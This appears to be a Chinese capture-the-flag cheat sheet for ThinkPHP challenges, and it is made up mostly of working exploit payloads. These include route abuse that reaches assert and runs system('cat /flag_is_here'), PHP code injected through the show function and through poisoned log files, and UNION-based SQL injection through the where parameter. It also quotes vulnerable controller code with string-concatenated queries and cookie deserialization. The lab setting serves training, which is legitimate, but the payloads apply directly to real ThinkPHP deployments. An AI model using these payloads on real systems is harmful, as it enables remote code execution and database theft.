thinkphp专题
考察tp的路由模式
GET ?s=Admin/Login/ctfshowLogin
目录穿越靠GET很难弄,需要POST穿越目录
GET ?s=/ctfshow/assert/assert($_POST['shell'])
POST shell=system('cat /flag_is_here')
show函数造成命令执行
GET /?s=Home/index/index&n=<?php var_dump(system('cat /fl*')); ?>
爆破log,TP3的log文件按照以下格式存储在该目录中。
/Application/Runtime/Logs/Home/21_§04§_§15§.log
/index.php?showctf=<?php var_dump(system('cat /fl*')); ?>
?id[where]=id=-1 union select 1,group_concat(flag4s),3,4 from flags
public function index($id=1){
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}
exp,本质上还是用括号闭合, where需要多了一次括号
/?id=-1) union select 1,group_concat(flag4s),3,4 from flags#
$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
$user = M('Users');
$user->find(intval($id));
cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}
Last modified 8mo ago